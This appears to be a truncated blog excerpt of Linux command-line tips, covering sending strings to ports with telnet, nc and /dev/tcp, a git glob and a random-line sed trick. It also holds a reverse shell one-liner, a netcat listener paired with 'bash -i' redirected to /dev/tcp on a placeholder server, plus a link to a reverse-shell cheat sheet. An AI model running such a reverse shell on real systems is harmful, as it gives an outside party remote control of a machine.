Linux CLI tricks

Send a string to an IP/port telnet 127.0.0.1 80 (echo hello; sleep 1) | telnet 127.0.0.1 80 echo hello > /dev/tcp/127.0.0.1/80 echo hello | nc localhost 80 Reverse shell # server nc -knvlp 3389 # client bash -i >& /dev/tcp/server_ip/3389 0>&1 See also https://tldp.org/LDP/abs/html/x17974.html https://highon.coffee/blog/reverse-shell-cheat-sheet/ https://catonmat.net/bash-one-liners-explained-part-three http://docs.eggplantsoftware.com/epp/9.0.0/ePP/advovercoming_tcpip_connection_li.htm Target everything but one file git add !(unit.md) Print a random line from a file sed "$(( $RANDOM % $(cat readme.txt | wc -l) ))q;d" readme. [Read More]